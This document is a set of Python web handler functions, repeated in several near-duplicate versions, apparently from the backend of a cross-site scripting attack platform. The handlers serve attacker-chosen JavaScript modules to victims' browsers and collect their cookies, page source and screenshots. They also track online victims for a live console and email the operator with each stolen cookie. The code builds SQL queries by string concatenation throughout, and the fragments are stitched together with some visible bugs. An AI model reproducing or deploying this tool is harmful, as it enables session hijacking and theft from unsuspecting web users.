def get(self, id, do): row = db.ct("project", "*", "id="+id) if row: urls = urlde(row['furl']).split(';') ip = urlde(row['fip']).split(';') rurl = 'Referer' in self.request.headers and self.request.headers['Referer'] or '!@#$^&*123Rtiny' rip = self.request.headers['Remote-Ip'] urlstatus = True for url in urls: if url.find(rurl) > 0: urlstatus = False if row['status'] == 1 and urlstatus and rip not in ip: code = urlde(row['custom']) s = json.loads(row['module']) for key in s: mcode = db.ct("module", "code", "id="+key) if mcode: mcode = urlde(mcode['code']) else: mcode = '' if s[key]: for x in urlde(s[key]).split(';'): if x: c = x.split('=') mcode = mcode.replace("{set."+c[0]+"}",c[1]) code += mcode self.render('get.html', code=code, id=id, url=URL, m=do) else: self.set_header('Content-type', 'text/html;charset=utf-8') self.write('(⊙ˍ⊙)') else: self.set_header('Content-type', 'text/html') self.render('404.html')
def get(self, id, do): row = db.ct("project", "*", "id="+id) if row: urls = urlde(row['furl']).split(';') ip = urlde(row['fip']).split(';') rurl = 'Referer' in self.request.headers and self.request.headers['Referer'] or '!@#$^&*123Rtiny' rip = self.request.remote_ip urlstatus = True for url in urls: if url.find(rurl) > 0: urlstatus = False if row['status'] == 1 and urlstatus and rip not in ip: code = urlde(row['custom']) s = json.loads(row['module']) for key in s: mcode = db.ct("module", "code", "id="+key) if mcode: mcode = urlde(mcode['code']) else: mcode = '' if s[key]: for x in urlde(s[key]).split(';'): if x: c = x.split('=') mcode = mcode.replace("{set."+c[0]+"}",c[1]) code += mcode self.render('get.html', code=code, id=id, url=URL, m=do) else: self.set_header('Content-type', 'text/html;charset=utf-8') self.write('(⊙ˍ⊙)') else: self.set_header('Content-type', 'text/html') self.render('404.html')
def get(self, projectid, ip, page, do): def getname(id): return urlde(db.ct("project", "name", "id=" + id)['name']) if ip and projectid: num = db.c('host', "hostip='" + ip + "' and projectid='" + projectid + "'") if num: page = str(page and (int(page) - 1 > 0 and (int(page) - 1 < num and int(page) - 1 or 0) or 0) or 0) host = db.ct( "host", "*", "hostip = '" + ip + "' and projectid='" + projectid + "' order by id desc limit " + page + ",1") if do == 'del': db.d("host", "id=" + str(host['id'])) if num == 1: hostlist = json.loads( db.ct("project", "hosts", "id=" + projectid)['hosts']) hostlist.remove(ip) db.u("project", "hosts='" + json.dumps(hostlist) + "'", "id=" + projectid) self.redirect("http://" + URL + "/project/" + projectid) self.redirect("http://" + URL + "/host/" + projectid + "/" + ip) else: self.render( "host.html", heads=[ { 'name': getname(projectid), 'title': 'Go to ' + getname(projectid), 'url': 'project/' + projectid }, { 'name': ip, 'title': '', 'url': '' }, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), urlde=urlde, timede=timede, url=URL, urljson=urljson, host=host, num=range(num), page=int(page) + 1, ) else: self.render('404.html') else: self.render('404.html')
def post(self, id, do): if id: if do == 'del': hostip = self.get_argument('hostip').split(',') hostlist = json.loads(db.ct("project","hosts","id="+id)['hosts']) hostips = '' for x in hostip: hostlist.remove(x) hostips += "'"+x+"'," print hostlist,hostips db.u("project", "hosts='"+json.dumps(hostlist)+"'", "id="+id) db.d("host", "hostip in ("+hostips[:-1]+") and projectid="+id) else: row = db.ct("project", "*", "id="+id) if row: post_data = {} for key in self.request.arguments: post_data[key] = self.get_arguments(key) i = 0 module = {} if 'moduleid' in post_data: for key in post_data['moduleid']: module[key] = urlen(post_data['modulecustom'][i]) i += 1 module = json.dumps(module) else: module = '[]' addtime = int(time.time()) db.u( "project", "name='"+urlen(post_data['name'][0])+"',description='"+urlen(post_data['description'][0])+"',email='"+post_data['email'][0]+ "',custom='"+urlen(post_data['custom'][0])+"',fip='"+post_data['fip'][0]+"',furl='"+post_data['furl'][0]+"',status='"+post_data['status'][0]+ "',module='"+module+"',addtime="+str(addtime), "id="+id) self.redirect("http://"+URL+"/project") else: self.render('404.html') else: if do == 'add': post_data = {} for key in self.request.arguments: post_data[key] = self.get_arguments(key) i = 0 module = {} if 'moduleid' in post_data: for key in post_data['moduleid']: module[key]=urlen(post_data['modulecustom'][i]) i += 1 module = json.dumps(module) else: module = '[]' addtime = int(time.time()) db.i( "project","name,description,email,custom,fip,furl,status,hosts,module,addtime","'"+urlen(post_data['name'][0])+"','"+ urlen(post_data['description'][0])+"','"+post_data['email'][0]+"','"+urlen(post_data['custom'][0])+"','"+post_data['fip'][0]+"','"+ post_data['furl'][0]+"','"+post_data['status'][0]+"','[]','"+module+"','"+str(addtime)+"'") self.redirect("http://"+URL+"/project") elif do == 'del': db.d("project", "id in ("+self.get_argument('id')+")")
def on_open(self, info): username = base.BaseTransportMixin.sock_cookies row = db.ct("manager", "*", "username='******'") if row: self.name = 'manager' else: hostip = base.BaseTransportMixin.sock_headers['Remote-Ip'] hostid = db.ct('host', 'id', "hostip='"+hostip+"' order by id desc limit 1")['id'] db.u("host", "online=1", "id="+str(hostid)) self.name = hostip self.participants.add(self)
def on_open(self, info): username = base.BaseTransportMixin.sock_cookies row = db.ct("manager", "*", "username='******'") if row: self.name = 'manager' else: hostip = base.BaseTransportMixin.sock_headers['Remote-Ip'] hostid = db.ct('host', 'id', "hostip='" + hostip + "' order by id desc limit 1")['id'] db.u("host", "online=1", "id=" + str(hostid)) self.name = hostip self.participants.add(self)
def post(self, id, do): def getname(id): return urlde(db.ct("project", "name", "id="+str(id))['name']) hostip = self.request.headers['Remote-Ip'] information = self.get_argument('information', 'None') sourcecode = self.get_argument('code', 'None') screen = self.get_argument('screen', 'None') receive = self.get_argument('receive', 'None') if not information == 'None': addtime = int(time.time()) request = self.request.headers headers = { 'user-agent': urlen('user-agent' in request and request['user-agent'] or 'None'), 'Accept-Language': urlen('Accept-Language' in request and request['Accept-Language'] or 'None'), 'X-Forwarded-For': urlen('X-Forwarded-For' in request and request['X-Forwarded-For'] or 'None'), 'Referer': urlen('Referer' in request and request['Referer'] or 'None'), } headers = json.dumps(headers) db.i( 'host', 'hostip,information,headers,projectid,addtime', "'"+hostip+"','"+urlen(information)+"','"+headers+"','"+id+"','"+str(addtime)+"'") hosts = json.loads(db.ct('project', "hosts", "id="+id)['hosts']) hosts.append(hostip) db.u("project", "hosts='"+json.dumps(list(set(hosts)))+"'", "id="+id) emails = urlde(db.ct("project", "email", "id=" + id)['email']).split(";") information = json.loads(information) print information for email in emails: text = 'location : ' + information['location'] + "<p>" +"cookie : " + information['cookie'] sendmail(email,'The cookie is coming ['+hostip+']', '<h1>project: '+ getname(id) + "</h1><p>" + text) hostid = db.ct('host', 'id', "hostip='"+hostip+"' order by id desc limit 1")['id'] if not sourcecode == 'None': db.u('host', "sourcecode='"+urlen(sourcecode)+"'", 'id='+str(hostid)) if not screen == 'None': db.u('host', "screen='"+urlen(screen)+"'", 'id='+str(hostid)) if not receive == 'None': oldreceive = urlde(db.ct( 'host', 'receive', 'id='+str(hostid))['receive'] and db.ct('host', 'receive', 'id='+str(hostid))['receive'] or '') oldreceive = oldreceive and json.loads(oldreceive) or oldreceive if oldreceive: receive = json.loads(receive) for key in oldreceive: receive[key] = oldreceive[key] receive = json.dumps(receive) db.u('host', "receive='"+urlen(receive)+"'", 'id='+str(hostid)) x=db.cts("host", "*", "projectid=5") self.write(json.dumps(x))
def post(self, id, do): def getname(id): return urlde(db.ct("project", "name", "id="+str(id))['name']) hostip = self.request.remote_ip information = self.get_argument('information', 'None') sourcecode = self.get_argument('code', 'None') screen = self.get_argument('screen', 'None') receive = self.get_argument('receive', 'None') if not information == 'None': addtime = int(time.time()) request = self.request.headers headers = { 'user-agent': urlen('user-agent' in request and request['user-agent'] or 'None'), 'Accept-Language': urlen('Accept-Language' in request and request['Accept-Language'] or 'None'), 'X-Forwarded-For': urlen('X-Forwarded-For' in request and request['X-Forwarded-For'] or 'None'), 'Referer': urlen('Referer' in request and request['Referer'] or 'None'), } headers = json.dumps(headers) db.i( 'host', 'hostip,information,headers,projectid,addtime', "'"+hostip+"','"+urlen(information)+"','"+headers+"','"+id+"','"+str(addtime)+"'") hosts = json.loads(db.ct('project', "hosts", "id="+id)['hosts']) hosts.append(hostip) db.u("project", "hosts='"+json.dumps(list(set(hosts)))+"'", "id="+id) emails = urlde(db.ct("project", "email", "id=" + id)['email']).split(";") information = json.loads(information) print information for email in emails: text = 'location : ' + information['location'] + "<p>" +"cookie : " + information['cookie'] hostid = db.ct('host', 'id', "hostip='"+hostip+"' order by id desc limit 1")['id'] if not sourcecode == 'None': db.u('host', "sourcecode='"+urlen(sourcecode)+"'", 'id='+str(hostid)) if not screen == 'None': db.u('host', "screen='"+urlen(screen)+"'", 'id='+str(hostid)) if not receive == 'None': oldreceive = urlde(db.ct( 'host', 'receive', 'id='+str(hostid))['receive'] and db.ct('host', 'receive', 'id='+str(hostid))['receive'] or '') oldreceive = oldreceive and json.loads(oldreceive) or oldreceive if oldreceive: receive = json.loads(receive) for key in oldreceive: receive[key] = oldreceive[key] receive = json.dumps(receive) db.u('host', "receive='"+urlen(receive)+"'", 'id='+str(hostid)) x=db.cts("host", "*", "projectid=5") self.write(json.dumps(x))
def post(self, id, do): if id: row = db.ct("module", "*", "id=" + id) if row: description = urlen(self.get_argument('description', 'None')) name = urlen(self.get_argument('name', 'None')) code = urlen(self.get_argument('code', 'None')) addtime = int(time.time()) db.u( "module", "description='" + description + "',name='" + name + "',code='" + code + "',addtime=" + str(addtime), "id=" + id) self.redirect("http://" + URL + "/module") else: self.render('404.html') else: if do == 'add': description = urlen(self.get_argument('description', 'None')) name = urlen(self.get_argument('name', 'None')) code = urlen(self.get_argument('code', 'None')) addtime = int(time.time()) db.i( "module", "description,name,code,addtime", "'" + description + "','" + name + "','" + code + "','" + str(addtime) + "'") self.redirect("http://" + URL + "/module") elif do == 'del': db.d("module", "id in (" + self.get_argument('id') + ")") else: self.render('404.html')
def get(self): def gethostn(hostip): return db.c("host", "hostip='"+hostip+"'") def getname(id): return urlde(db.ct("project", "name", "id="+str(id))['name']) rows = db.cts("host", "hostip", "online=1") row = [] for x in rows: row.append(db.ct("host", "*", "hostip='"+x['hostip']+"' order by id desc limit 1")) self.render( "online.html", heads=[ {'name':'Online', 'title':'', 'url':''}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), urlde=urlde, url=URL, timede=timede, urljson=urljson, getaddr=getaddr, row=row, getname=getname, gethostn=gethostn, )
def on_close(self): self.participants.remove(self) if self.name != 'manager': hostip = base.BaseTransportMixin.sock_headers['Remote-Ip'] hostid = db.ct('host', 'id', "hostip='" + ip + "' order by id desc limit 1")['id'] db.u("host", "online=0", "id=" + str(hostid))
def post(self, id, do): if id: row=db.ct("module", "*", "id="+id) if row: description = urlen(self.get_argument('description', 'None')) name = urlen(self.get_argument('name', 'None')) code = urlen(self.get_argument('code', 'None')) addtime = int(time.time()) db.u( "module", "description='"+description+"',name='"+name+"',code='"+code+"',addtime="+str(addtime), "id="+id) self.redirect("http://"+URL+"/module") else: self.render('404.html') else: if do == 'add': description = urlen(self.get_argument('description', 'None')) name = urlen(self.get_argument('name', 'None')) code = urlen(self.get_argument('code', 'None')) addtime = int(time.time()) db.i( "module", "description,name,code,addtime", "'"+description+"','"+name+"','"+code+"','"+str(addtime)+"'") self.redirect("http://"+URL+"/module") elif do == 'del': db.d("module", "id in ("+self.get_argument('id')+")") else: self.render('404.html')
def get(self, id): row = db.ct("host", "*", "id=" + id) if row: if row['online'] == 1: self.render('console.html', username=self.get_secure_cookie("username"), heads=[ { 'name': 'console', 'title': '', 'url': '' }, { 'name': row['hostip'], 'title': '', 'url': '' }, ], datainfo=db.datainfo(), systeminfo=systeminfo(), url=URL, urlde=urlde, hostip=row['hostip']) else: self.set_header('Content-type', 'text/html;charset=utf-8') self.write('(⊙ˍ⊙)') else: self.write(id)
def get(self, projectid, ip, page, do): def getname(id): return urlde(db.ct("project", "name", "id=" + id)["name"]) if ip and projectid: num = db.c("host", "hostip='" + ip + "' and projectid='" + projectid + "'") if num: page = str(page and (int(page) - 1 > 0 and (int(page) - 1 < num and int(page) - 1 or 0) or 0) or 0) host = db.ct( "host", "*", "hostip = '" + ip + "' and projectid='" + projectid + "' order by id desc limit " + page + ",1", ) if do == "del": db.d("host", "id=" + str(host["id"])) if num == 1: hostlist = json.loads(db.ct("project", "hosts", "id=" + projectid)["hosts"]) hostlist.remove(ip) db.u("project", "hosts='" + json.dumps(hostlist) + "'", "id=" + projectid) self.redirect("http://" + URL + "/project/" + projectid) self.redirect("http://" + URL + "/host/" + projectid + "/" + ip) else: self.render( "host.html", heads=[ { "name": getname(projectid), "title": "Go to " + getname(projectid), "url": "project/" + projectid, }, {"name": ip, "title": "", "url": ""}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), urlde=urlde, timede=timede, url=URL, urljson=urljson, host=host, num=range(num), page=int(page) + 1, ) else: self.render("404.html") else: self.render("404.html")
def on_open(self, info): cookie = base.BaseTransportMixin.sock_cookies row = db.ct("manager", "*", "username='******'username']+"' and password='******'password']+"'") if row: self.name = 'manager' else: hostip = base.BaseTransportMixin.sock_remote_ip self.name = hostip self.participants.add(self)
def post(self): username = self.get_secure_cookie("username") or '' passwd = md5(self.get_argument('password', '')) row = db.ct("manager", "*", "username='******' and password='******'") if row: self.set_secure_cookie("lock", "0") self.redirect("http://" + URL) else: self.redirect("http://" + URL + "/lock")
def get(self, projectid, ip, page, do): def getname(id): return urlde(db.ct("project","name","id="+id)['name']) if ip and projectid: num = db.c('host', "hostip='"+ip+"' and projectid='"+projectid+"'") if num: page = str(page and (int(page)-1>0 and (int(page)-1<num and int(page)-1 or 0) or 0) or 0) host = db.ct( "host", "*", "hostip = '"+ip+"' and projectid='"+projectid+"' order by id desc limit "+page+",1") if do == 'del': db.d("host", "id="+str(host['id'])) if num == 1: hostlist = json.loads(db.ct("project", "hosts", "id="+projectid)['hosts']) hostlist.remove(ip) db.u("project", "hosts='"+json.dumps(hostlist)+"'", "id="+projectid) self.redirect("http://"+URL+"/project/"+projectid) self.redirect("http://"+URL+"/host/"+projectid+"/"+ip) else: self.render( "host.html", heads=[ {'name':getname(projectid), 'title': 'Go to ' + getname(projectid), 'url': 'project/'+projectid}, {'name': ip, 'title': '', 'url': ''}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), urlde=urlde, timede=timede, url=URL, urljson=urljson, host=host, num=range(num), page=int(page)+1, ) else: self.render('404.html') else: self.render('404.html')
def post(self): username = self.get_secure_cookie("username") or '' passwd = md5(self.get_argument('password', '')) row = db.ct( "manager", "*", "username='******' and password='******'") if row: self.set_secure_cookie("lock", "0") self.redirect("http://" + URL) else: self.redirect("http://" + URL + "/lock")
def get(self, id, do): if id: row = db.ct("module", "*", "id="+id) if row: if do == 'del': db.d("module", "id="+id) self.redirect("http://"+URL+"/module") else: self.render( 'module_edit.html', username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[ {'name':'Module', 'title':'Module list', 'url':'module/'}, {'name':urlde(row['name']), 'title': '', 'url': ''}, ], row=row, url=URL, urlde=urlde, ) else: self.render('404.html') else: if do == 'add': self.render( 'module_add.html', username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[{'name':'Module', 'title':'Module list', 'url':'module/'},{'name':'Add', 'title':'', 'url':''}], url=URL, urlde=urlde, ) else: mrows = db.cts("module", "*", "1=1 order by id") modulen = len(mrows) self.render( "module.html", username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[{'name':'Module', 'title': '', 'url': ''}], url=URL, urlde=urlde, timede=timede, mrows=mrows, modulen=modulen, )
def post(self): self.set_header("Content-Type", "text/plain") if True not in [f in self.get_argument("email") for f in sql]: row = db.ct( "manager", "*", "username='******' and password='******'pass'))+"'") if row: self.set_secure_cookie("username", row['username']) self.set_secure_cookie("password", row['password']) self.write("true") else: self.write("false") else: self.write("false")
def get_current_user(self): if not self.get_secure_cookie("lock") == '1': if self.get_secure_cookie("username") and self.get_secure_cookie("password"): if True not in [f in self.get_secure_cookie("username") for f in sql]: row = db.ct("manager", "password", "username='******'") if row: if row['password'] == self.get_secure_cookie("password"): return 1 else: self.clear_cookie("username") self.clear_cookie("password") else: self.clear_cookie("username") self.clear_cookie("password") else: self.redirect("http://" + URL + "/lock")
def get(self, id): row = db.ct("host", "*", "id="+id) if row: if row['online'] == 1: self.render( 'console.html', username=self.get_secure_cookie("username"), heads=[ {'name': 'console', 'title': '', 'url': ''}, {'name': row['hostip'], 'title':'', 'url':''}, ], datainfo=db.datainfo(), url=URL, urlde=urlde, hostip=row['hostip'] ) else: self.set_header('Content-type', 'text/html;charset=utf-8') self.write('(⊙ˍ⊙)') else: self.write(id)
def get_current_user(self): if not self.get_secure_cookie("lock") == '1': if self.get_secure_cookie("username") and self.get_secure_cookie( "password"): if True not in [ f in self.get_secure_cookie("username") for f in sql ]: row = db.ct( "manager", "password", "username='******'") if row: if row['password'] == self.get_secure_cookie( "password"): return 1 else: self.clear_cookie("username") self.clear_cookie("password") else: self.clear_cookie("username") self.clear_cookie("password") else: self.redirect("http://" + URL + "/lock")
def getname(id): return urlde(db.ct("project", "name", "id="+str(id))['name'])
def get(self, id, do): def gethostn(hostip): return db.c("host", "hostip='" + hostip + "'") def getmcustom(code): code = urlde(code) s = re.findall("({set\..*})", code) return s if id: row = db.ct("project", "*", "id=" + id) if row: if do == 'del': db.d("project", "id=" + id) self.redirect("http://" + URL + "/project") elif do == 'edit': modules = db.cts("module", "*", "1=1") pmodules = json.loads( urlde( db.ct("project", "module", "id=" + id)['module'])) self.render( "project_edit.html", heads=[ { 'name': 'Project', 'title': 'Project list', 'url': 'project' }, { 'name': urlde(row['name']), 'title': urlde(row['name']) + 'view', 'url': 'project/' + id }, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), urlde=urlde, getmcustom=getmcustom, row=row, url=URL, modules=modules, pmodules=pmodules, ) else: x = [] hosts = [] hostlist = json.loads( db.ct("project", "hosts", "id=" + id)['hosts']) hostn = 0 if hostlist: for i in hostlist: x.append( db.ct( "host", "id", "hostip='" + i + "' and projectid=" + id + " order by id desc limit 1")['id']) x.sort(reverse=True) hostn = len(x) for i in x: hosts.append( db.ct( "host", "hostip,information,online,addtime,projectid,id", "id=" + str(i))) self.render( "project_select.html", heads=[ { 'name': 'Project', 'title': 'Project list', 'url': 'project' }, { 'name': urlde(row['name']), 'title': '', 'url': '' }, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), urlde=urlde, hostn=hostn, hosts=hosts, gethostn=gethostn, url=URL, timede=timede, urljson=urljson, getaddr=getaddr, ) else: self.render('404.html') else: if do == 'add': modules = db.cts("module", "*", "1=1") self.render( "project_add.html", heads=[ { 'name': 'Project', 'title': 'Project list', 'url': 'project' }, { 'name': 'Add', 'title': '', 'url': '' }, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), url=URL, urlde=urlde, modules=modules, getmcustom=getmcustom, ) else: prows = db.cts("project", "*", "1=1 order by id") #所有的project hrown = {} #host数目 hrowno = {} #host online 数目 if prows: for i in prows: hrown[i['id']] = db.c("host", "projectid=" + str(i['id'])) hrowno[i['id']] = db.c( "host", "projectid=" + str(i['id']) + " and online=1") self.render( "project.html", heads=[{ 'name': 'Project', 'title': '', 'url': '' }], prows=prows, prown=len(prows), hrown=hrown, hrowno=hrowno, username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), url=URL, urlde=urlde, timede=timede, )
def post(self, id, do): if id: if do == 'del': hostip = self.get_argument('hostip').split(',') hostlist = json.loads( db.ct("project", "hosts", "id=" + id)['hosts']) for x in hostip: hostlist.remove(x) hostips = "'" + x + "'," db.u("project", "hosts='" + json.dumps(hostlist) + "'", "id=" + id) db.d("host", "hostip in (" + hostips[:-1] + ") and projectid=" + id) else: row = db.ct("project", "*", "id=" + id) if row: post_data = {} for key in self.request.arguments: post_data[key] = self.get_arguments(key) i = 0 module = {} if 'moduleid' in post_data: for key in post_data['moduleid']: module[key] = urlen(post_data['modulecustom'][i]) i += 1 module = json.dumps(module) else: module = '[]' addtime = int(time.time()) db.u( "project", "name='" + urlen(post_data['name'][0]) + "',description='" + urlen(post_data['description'][0]) + "',email='" + post_data['email'][0] + "',custom='" + urlen(post_data['custom'][0]) + "',fip='" + post_data['fip'][0] + "',furl='" + post_data['furl'][0] + "',status='" + post_data['status'][0] + "',module='" + module + "',addtime=" + str(addtime), "id=" + id) self.redirect("http://" + URL + "/project") else: self.render('404.html') else: if do == 'add': post_data = {} for key in self.request.arguments: post_data[key] = self.get_arguments(key) i = 0 module = {} if 'moduleid' in post_data: for key in post_data['moduleid']: module[key] = urlen(post_data['modulecustom'][i]) i += 1 module = json.dumps(module) else: module = '[]' addtime = int(time.time()) db.i( "project", "name,description,email,custom,fip,furl,status,hosts,module,addtime", "'" + urlen(post_data['name'][0]) + "','" + urlen(post_data['description'][0]) + "','" + post_data['email'][0] + "','" + urlen(post_data['custom'][0]) + "','" + post_data['fip'][0] + "','" + post_data['furl'][0] + "','" + post_data['status'][0] + "','[]','" + module + "','" + str(addtime) + "'") self.redirect("http://" + URL + "/project") elif do == 'del': db.d("project", "id in (" + self.get_argument('id') + ")")
def on_close(self): self.participants.remove(self) if self.name != 'manager': hostip = base.BaseTransportMixin.sock_headers['Remote-Ip'] hostid = db.ct('host', 'id', "hostip='"+ip+"' order by id desc limit 1")['id'] db.u("host", "online=0", "id="+str(hostid))
def getname(id): return urlde(db.ct("project", "name", "id=" + id)["name"])
def get(self, id, do): def gethostn(hostip): return db.c("host", "hostip='"+hostip+"'") def getmcustom(code): code = urlde(code) s = re.findall("({set\.[^}]*})", code) return s if id: row = db.ct("project", "*", "id="+id) if row: if do == 'del': db.d("project", "id="+id) self.redirect("http://"+URL+"/project") elif do == 'edit': modules = db.cts("module", "*", "1=1") pmodules = json.loads(urlde(db.ct("project", "module", "id="+id)['module'])) self.render( "project_edit.html", heads=[ {'name':'Project', 'title':'Project list', 'url':'project'}, {'name':urlde(row['name']), 'title':urlde(row['name']) + 'view', 'url':'project/'+id}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), urlde=urlde, getmcustom=getmcustom, row=row, url=URL, modules=modules, pmodules=pmodules, ) else: x = [] hosts = [] hostlist = json.loads(db.ct("project", "hosts", "id="+id)['hosts']) hostn = 0 if hostlist: for i in hostlist: x.append(db.ct( "host", "id", "hostip='"+i+"' and projectid="+id+" order by id desc limit 1")['id']) x.sort(reverse=True) hostn = len(x) for i in x: hosts.append(db.ct( "host", "hostip,information,online,addtime,projectid,id,addr", "id="+str(i))) self.render( "project_select.html", heads=[ {'name':'Project', 'title':'Project list', 'url':'project'}, {'name':urlde(row['name']), 'title':'', 'url':''}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), urlde=urlde, hostn=hostn, hosts=hosts, gethostn=gethostn, url=URL, timede=timede, urljson=urljson, getaddr=getaddr, ) else: self.render('404.html') else: if do == 'add': modules = db.cts("module", "*", "1=1") self.render( "project_add.html", heads=[ {'name': 'Project', 'title': 'Project list', 'url': 'project'}, {'name': 'Add', 'title': '', 'url': ''}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), url=URL, urlde=urlde, modules=modules, getmcustom=getmcustom, ) else: prows = db.cts("project", "*", "1=1 order by id") #所有的project hrown = {} #host数目 hrowno = {} #host online 数目 if prows: for i in prows: hrown[i['id']] = db.c("host", "projectid="+str(i['id'])) hrowno[i['id']] = db.c("host", "projectid="+str(i['id'])+" and online=1") self.render( "project.html", heads=[{'name': 'Project', 'title': '', 'url':''}], prows=prows, prown=len(prows), hrown=hrown, hrowno=hrowno, username=self.get_secure_cookie("username"), datainfo=db.datainfo(), url=URL, urlde=urlde, timede=timede, )
def get(self, id, do): if id: row = db.ct("module", "*", "id=" + id) if row: if do == 'del': db.d("module", "id=" + id) self.redirect("http://" + URL + "/module") else: self.render( 'module_edit.html', username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[ { 'name': 'Module', 'title': 'Module list', 'url': 'module/' }, { 'name': urlde(row['name']), 'title': '', 'url': '' }, ], row=row, url=URL, urlde=urlde, ) else: self.render('404.html') else: if do == 'add': self.render( 'module_add.html', username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[{ 'name': 'Module', 'title': 'Module list', 'url': 'module/' }, { 'name': 'Add', 'title': '', 'url': '' }], url=URL, urlde=urlde, ) else: mrows = db.cts("module", "*", "1=1 order by id") modulen = len(mrows) self.render( "module.html", username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), heads=[{ 'name': 'Module', 'title': '', 'url': '' }], url=URL, urlde=urlde, timede=timede, mrows=mrows, modulen=modulen, )
def post(self, id, do): if id: if do == "del": hostip = self.get_argument("hostip").split(",") hostlist = json.loads(db.ct("project", "hosts", "id=" + id)["hosts"]) for x in hostip: hostlist.remove(x) hostips = "'" + x + "'," db.u("project", "hosts='" + json.dumps(hostlist) + "'", "id=" + id) db.d("host", "hostip in (" + hostips[:-1] + ") and projectid=" + id) else: row = db.ct("project", "*", "id=" + id) if row: post_data = {} for key in self.request.arguments: post_data[key] = self.get_arguments(key) i = 0 module = {} if "moduleid" in post_data: for key in post_data["moduleid"]: module[key] = urlen(post_data["modulecustom"][i]) i += 1 module = json.dumps(module) else: module = "[]" addtime = int(time.time()) db.u( "project", "name='" + urlen(post_data["name"][0]) + "',description='" + urlen(post_data["description"][0]) + "',email='" + post_data["email"][0] + "',custom='" + urlen(post_data["custom"][0]) + "',fip='" + post_data["fip"][0] + "',furl='" + post_data["furl"][0] + "',status='" + post_data["status"][0] + "',module='" + module + "',addtime=" + str(addtime), "id=" + id, ) self.redirect("http://" + URL + "/project") else: self.render("404.html") else: if do == "add": post_data = {} for key in self.request.arguments: post_data[key] = self.get_arguments(key) i = 0 module = {} if "moduleid" in post_data: for key in post_data["moduleid"]: module[key] = urlen(post_data["modulecustom"][i]) i += 1 module = json.dumps(module) else: module = "[]" addtime = int(time.time()) db.i( "project", "name,description,email,custom,fip,furl,status,hosts,module,addtime", "'" + urlen(post_data["name"][0]) + "','" + urlen(post_data["description"][0]) + "','" + post_data["email"][0] + "','" + urlen(post_data["custom"][0]) + "','" + post_data["fip"][0] + "','" + post_data["furl"][0] + "','" + post_data["status"][0] + "','[]','" + module + "','" + str(addtime) + "'", ) self.redirect("http://" + URL + "/project") elif do == "del": db.d("project", "id in (" + self.get_argument("id") + ")")
def get(self, id, do): def gethostn(hostip): return db.c("host", "hostip='" + hostip + "'") def getmcustom(code): code = urlde(code) s = re.findall("({set\..*})", code) return s if id: row = db.ct("project", "*", "id=" + id) if row: if do == "del": db.d("project", "id=" + id) self.redirect("http://" + URL + "/project") elif do == "edit": modules = db.cts("module", "*", "1=1") pmodules = json.loads(urlde(db.ct("project", "module", "id=" + id)["module"])) self.render( "project_edit.html", heads=[ {"name": "Project", "title": "Project list", "url": "project"}, {"name": urlde(row["name"]), "title": urlde(row["name"]) + "view", "url": "project/" + id}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), urlde=urlde, getmcustom=getmcustom, row=row, url=URL, modules=modules, pmodules=pmodules, ) else: x = [] hosts = [] hostlist = json.loads(db.ct("project", "hosts", "id=" + id)["hosts"]) hostn = 0 if hostlist: for i in hostlist: x.append( db.ct( "host", "id", "hostip='" + i + "' and projectid=" + id + " order by id desc limit 1" )["id"] ) x.sort(reverse=True) hostn = len(x) for i in x: hosts.append( db.ct("host", "hostip,information,online,addtime,projectid,id", "id=" + str(i)) ) self.render( "project_select.html", heads=[ {"name": "Project", "title": "Project list", "url": "project"}, {"name": urlde(row["name"]), "title": "", "url": ""}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), urlde=urlde, hostn=hostn, hosts=hosts, gethostn=gethostn, url=URL, timede=timede, urljson=urljson, getaddr=getaddr, ) else: self.render("404.html") else: if do == "add": modules = db.cts("module", "*", "1=1") self.render( "project_add.html", heads=[ {"name": "Project", "title": "Project list", "url": "project"}, {"name": "Add", "title": "", "url": ""}, ], username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), url=URL, urlde=urlde, modules=modules, getmcustom=getmcustom, ) else: prows = db.cts("project", "*", "1=1 order by id") # 所有的project hrown = {} # host数目 hrowno = {} # host online 数目 if prows: for i in prows: hrown[i["id"]] = db.c("host", "projectid=" + str(i["id"])) hrowno[i["id"]] = db.c("host", "projectid=" + str(i["id"]) + " and online=1") self.render( "project.html", heads=[{"name": "Project", "title": "", "url": ""}], prows=prows, prown=len(prows), hrown=hrown, hrowno=hrowno, username=self.get_secure_cookie("username"), datainfo=db.datainfo(), systeminfo=systeminfo(), url=URL, urlde=urlde, timede=timede, )